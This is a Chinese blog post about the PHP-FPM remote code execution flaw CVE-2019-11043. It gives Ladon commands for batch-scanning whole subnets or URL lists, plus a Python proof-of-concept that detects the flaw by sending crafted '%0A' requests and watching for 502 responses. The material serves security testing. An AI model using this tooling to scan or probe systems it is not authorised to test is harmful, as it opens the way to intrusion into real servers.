漏洞简介
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
Example
和Ladon.exe放在同一目录,即可对C段或url.txt进行批量检测
1 2 3 4 5 6 7 8 9 10
| Ladon CVE-2019-11043_Poc.ini 批量URL检测(根目录下放url.txt) Ladon 192.168.1.37/24 CVE-2019-11043_Poc.ini 批量检测C段主机是否存在该漏洞 Ladon http://192.168.1.37:8080/index.php CVE-2019-11043_Poc.ini 指定URL Ladon 5.5 By K8gege Call AnyExe/Command http://192.168.1.37:8080/index.php load F:\Python279\python.exe ISVUL: CVE-2019-11043 http://192.168.1.37:8080/index.php
|
![使用http访问查看图片]()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import requests import sys
def checkpoc(url): try: headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0"} res1 = requests.get(url, headers=headers) if res1.status_code == 200: print "URL: "+url for i in range(1499, 1900): res = requests.get(url + "/PHP%0Ais_poc_thistiest_lang.php?" + "K" * i, headers=headers) if res.status_code == 502: print("ISVUL: CVE-2019-11043 "+url) break except: pass
url = sys.argv[1] if "http" in url: checkpoc(url) else: checkpoc("http://"+url+"/index.php") checkpoc("http://"+url+":8080/index.php") checkpoc("https://"+url+"/index.php")
|
下载
Poc: https://github.com/k8gege/CVE-2019-11043
Ladon: https://github.com/k8gege/Ladon
转载声明
K8博客文章随意转载,转载请注明出处! © K8gege http://k8gege.org